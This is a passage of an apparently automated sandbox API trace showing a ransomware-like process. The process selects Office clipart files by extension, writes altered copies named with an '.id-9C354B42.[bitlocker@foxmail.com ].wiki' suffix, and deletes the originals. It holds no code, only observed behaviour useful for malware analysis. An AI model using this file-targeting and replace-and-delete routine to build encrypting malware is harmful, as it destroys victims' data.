0x1e4 [0191.350] GetLastError () returned 0x0 [0191.350] ReadFile (in: hFile=0x1e0, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0xd42, lpOverlapped=0x0) returned 1 [0191.369] WriteFile (in: hFile=0x1e4, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0xd50, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xd50, lpOverlapped=0x0) returned 1 [0191.370] ReadFile (in: hFile=0x1e0, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0191.370] WriteFile (in: hFile=0x1e4, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0191.370] SetEndOfFile (hFile=0x1e4) returned 1 [0191.370] CloseHandle (hObject=0x1e4) returned 1 [0191.370] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0191.371] SetEndOfFile (hFile=0x1e0) returned 1 [0191.371] CloseHandle (hObject=0x1e0) returned 1 [0191.371] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099180.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0191.372] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099180.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099180.wmf")) returned 1 [0191.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099180.WMF") returned 63 [0191.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099180.WMF") returned 63 [0191.372] lstrlenW (lpString=".doc") returned 4 [0191.372] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0191.372] lstrlenW (lpString=".docx") returned 5 [0191.372] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0191.372] lstrlenW (lpString=".pdf") returned 4 [0191.372] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0191.372] lstrlenW (lpString=".xls") returned 4 [0191.372] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0191.372] lstrlenW (lpString=".xlsx") returned 5 [0191.372] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0191.372] lstrlenW (lpString=".ppt") returned 4 [0191.372] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0191.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099180.WMF") returned 63 [0191.372] lstrlenW (lpString=".zip") returned 4 [0191.372] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0191.372] lstrlenW (lpString=".rar") returned 4 [0191.372] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0191.372] lstrlenW (lpString=".bz2") returned 4 [0191.372] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0191.372] lstrlenW (lpString=".7z") returned 3 [0191.372] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0191.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099180.WMF") returned 63 [0191.372] lstrlenW (lpString=".dbf") returned 4 [0191.372] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0191.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099180.WMF") returned 63 [0191.373] lstrlenW (lpString=".1cd") returned 4 [0191.373] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0191.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099180.WMF") returned 63 [0191.373] lstrlenW (lpString=".jpg") returned 4 [0191.373] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0191.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099180.WMF") returned 63 [0191.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099180.WMF") returned 63 [0191.373] lstrlenW (lpString=".doc") returned 4 [0191.373] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0191.373] lstrlenW (lpString=".docx") returned 5 [0191.373] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0191.373] lstrlenW (lpString=".pdf") returned 4 [0191.373] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0191.373] lstrlenW (lpString=".xls") returned 4 [0191.373] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0191.373] lstrlenW (lpString=".xlsx") returned 5 [0191.373] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0191.373] lstrlenW (lpString=".ppt") returned 4 [0191.373] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0191.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099180.WMF") returned 63 [0191.373] lstrlenW (lpString=".zip") returned 4 [0191.373] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0191.373] lstrlenW (lpString=".rar") returned 4 [0191.373] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0191.373] lstrlenW (lpString=".bz2") returned 4 [0191.373] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0191.373] lstrlenW (lpString=".7z") returned 3 [0191.373] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0191.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099180.WMF") returned 63 [0191.373] lstrlenW (lpString=".dbf") returned 4 [0191.373] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0191.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099180.WMF") returned 63 [0191.374] lstrlenW (lpString=".1cd") returned 4 [0191.374] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0191.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099180.WMF") returned 63 [0191.374] lstrlenW (lpString=".jpg") returned 4 [0191.374] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0191.374] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0191.374] lstrlenW (lpString="J0099183.WMF") returned 12 [0191.374] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099183.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099183.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0191.374] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=4946) returned 1 [0191.374] CloseHandle (hObject=0x1e0) returned 1 [0191.374] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099183.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099183.wmf")) returned 0x20 [0191.374] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099183.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099183.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0191.375] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099183.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099183.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0191.375] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0191.375] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0191.375] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099183.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099183.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0191.375] GetLastError () returned 0x0 [0191.375] ReadFile (in: hFile=0x1e0, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x1352, lpOverlapped=0x0) returned 1 [0191.377] WriteFile (in: hFile=0x1e4, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0x1360, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x1360, lpOverlapped=0x0) returned 1 [0191.378] ReadFile (in: hFile=0x1e0, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0191.378] WriteFile (in: hFile=0x1e4, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0191.378] SetEndOfFile (hFile=0x1e4) returned 1 [0191.378] CloseHandle (hObject=0x1e4) returned 1 [0191.378] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0191.379] SetEndOfFile (hFile=0x1e0) returned 1 [0191.379] CloseHandle (hObject=0x1e0) returned 1 [0191.379] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099183.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0191.380] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099183.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099183.wmf")) returned 1 [0191.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099183.WMF") returned 63 [0191.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099183.WMF") returned 63 [0191.380] lstrlenW (lpString=".doc") returned 4 [0191.380] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0191.380] lstrlenW (lpString=".docx") returned 5 [0191.380] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0191.380] lstrlenW (lpString=".pdf") returned 4 [0191.380] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0191.380] lstrlenW (lpString=".xls") returned 4 [0191.380] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0191.380] lstrlenW (lpString=".xlsx") returned 5 [0191.380] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0191.380] lstrlenW (lpString=".ppt") returned 4 [0191.380] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0191.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099183.WMF") returned 63 [0191.380] lstrlenW (lpString=".zip") returned 4 [0191.380] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0191.380] lstrlenW (lpString=".rar") returned 4 [0191.380] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0191.380] lstrlenW (lpString=".bz2") returned 4 [0191.380] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0191.380] lstrlenW (lpString=".7z") returned 3 [0191.380] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0191.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099183.WMF") returned 63 [0191.380] lstrlenW (lpString=".dbf") returned 4 [0191.381] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0191.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099183.WMF") returned 63 [0191.381] lstrlenW (lpString=".1cd") returned 4 [0191.381] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0191.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099183.WMF") returned 63 [0191.381] lstrlenW (lpString=".jpg") returned 4 [0191.381] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0191.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099183.WMF") returned 63 [0191.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099183.WMF") returned 63 [0191.381] lstrlenW (lpString=".doc") returned 4 [0191.381] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0191.381] lstrlenW (lpString=".docx") returned 5 [0191.381] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0191.381] lstrlenW (lpString=".pdf") returned 4 [0191.381] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0191.381] lstrlenW (lpString=".xls") returned 4 [0191.381] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0191.381] lstrlenW (lpString=".xlsx") returned 5 [0191.381] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0191.381] lstrlenW (lpString=".ppt") returned 4 [0191.381] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0191.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099183.WMF") returned 63 [0191.381] lstrlenW (lpString=".zip") returned 4 [0191.381] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0191.381] lstrlenW (lpString=".rar") returned 4 [0191.381] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0191.381] lstrlenW (lpString=".bz2") returned 4 [0191.381] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0191.381] lstrlenW (lpString=".7z") returned 3 [0191.381] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0191.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099183.WMF") returned 63 [0191.381] lstrlenW (lpString=".dbf") returned 4 [0191.382] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0191.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099183.WMF") returned 63 [0191.382] lstrlenW (lpString=".1cd") returned 4 [0191.382] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0191.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099183.WMF") returned 63 [0191.382] lstrlenW (lpString=".jpg") returned 4 [0191.382] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0191.382] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0191.382] lstrlenW (lpString="J0099184.WMF") returned 12 [0191.382] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099184.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099184.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0191.382] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=4118) returned 1 [0191.382] CloseHandle (hObject=0x1e0) returned 1 [0191.382] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099184.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099184.wmf")) returned 0x20 [0191.382] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099184.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099184.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0191.383] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099184.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099184.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0191.383] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0191.383] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0191.383] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099184.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099184.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0191.383] GetLastError () returned 0x0 [0191.383] ReadFile (in: hFile=0x1e0, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x1016, lpOverlapped=0x0) returned 1 [0191.386] WriteFile (in: hFile=0x1e4, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0x1020, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x1020, lpOverlapped=0x0) returned 1 [0191.387] ReadFile (in: hFile=0x1e0, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0191.387] WriteFile (in: hFile=0x1e4, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0191.387] SetEndOfFile (hFile=0x1e4) returned 1 [0191.387] CloseHandle (hObject=0x1e4) returned 1 [0191.387] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0191.387] SetEndOfFile (hFile=0x1e0) returned 1 [0191.388] CloseHandle (hObject=0x1e0) returned 1 [0191.388] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099184.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0191.388] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099184.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099184.wmf")) returned 1 [0191.388] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099184.WMF") returned 63 [0191.388] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099184.WMF") returned 63 [0191.388] lstrlenW (lpString=".doc") returned 4 [0191.388] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0191.388] lstrlenW (lpString=".docx") returned 5 [0191.388] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0191.388] lstrlenW (lpString=".pdf") returned 4 [0191.388] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0191.388] lstrlenW (lpString=".xls") returned 4 [0191.389] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0191.389] lstrlenW (lpString=".xlsx") returned 5 [0191.389] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0191.389] lstrlenW (lpString=".ppt") returned 4 [0191.389] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0191.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099184.WMF") returned 63 [0191.389] lstrlenW (lpString=".zip") returned 4 [0191.389] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0191.389] lstrlenW (lpString=".rar") returned 4 [0191.389] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0191.389] lstrlenW (lpString=".bz2") returned 4 [0191.389] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0191.389] lstrlenW (lpString=".7z") returned 3 [0191.389] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0191.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099184.WMF") returned 63 [0191.389] lstrlenW (lpString=".dbf") returned 4 [0191.389] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0191.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099184.WMF") returned 63 [0191.389] lstrlenW (lpString=".1cd") returned 4 [0191.389] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0191.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099184.WMF") returned 63 [0191.389] lstrlenW (lpString=".jpg") returned 4 [0191.389] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0191.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099184.WMF") returned 63 [0191.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099184.WMF") returned 63 [0191.389] lstrlenW (lpString=".doc") returned 4 [0191.389] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0191.389] lstrlenW (lpString=".docx") returned 5 [0191.389] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0191.389] lstrlenW (lpString=".pdf") returned 4 [0191.389] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0191.389] lstrlenW (lpString=".xls") returned 4 [0191.389] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0191.390] lstrlenW (lpString=".xlsx") returned 5 [0191.390] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0191.390] lstrlenW (lpString=".ppt") returned 4 [0191.390] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0191.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099184.WMF") returned 63 [0191.390] lstrlenW (lpString=".zip") returned 4 [0191.390] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0191.390] lstrlenW (lpString=".rar") returned 4 [0191.390] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0191.390] lstrlenW (lpString=".bz2") returned 4 [0191.390] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0191.390] lstrlenW (lpString=".7z") returned 3 [0191.390] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0191.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099184.WMF") returned 63 [0191.390] lstrlenW (lpString=".dbf") returned 4 [0191.390] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0191.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099184.WMF") returned 63 [0191.390] lstrlenW (lpString=".1cd") returned 4 [0191.390] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0191.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099184.WMF") returned 63 [0191.390] lstrlenW (lpString=".jpg") returned 4 [0191.390] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0191.390] lstrcmpiW (lpString1=".JPG", lpString2=".wiki") returned -1 [0191.390] lstrlenW (lpString="J0099185.JPG") returned 12 [0191.390] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099185.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099185.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0191.775] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=3282) returned 1 [0191.775] CloseHandle (hObject=0x1f4) returned 1 [0191.775] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099185.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099185.jpg")) returned 0x20 [0191.775] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099185.JPG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099185.jpg.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0191.775] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099185.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099185.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0191.775] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0191.776] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0191.776] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099185.JPG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099185.jpg.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0191.777] GetLastError () returned 0x0 [0191.777] ReadFile (in: hFile=0x1f4, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0xcd2, lpOverlapped=0x0) returned 1 [0191.788] WriteFile (in: hFile=0x1dc, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0xce0, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xce0, lpOverlapped=0x0) returned 1 [0191.789] ReadFile (in: hFile=0x1f4, 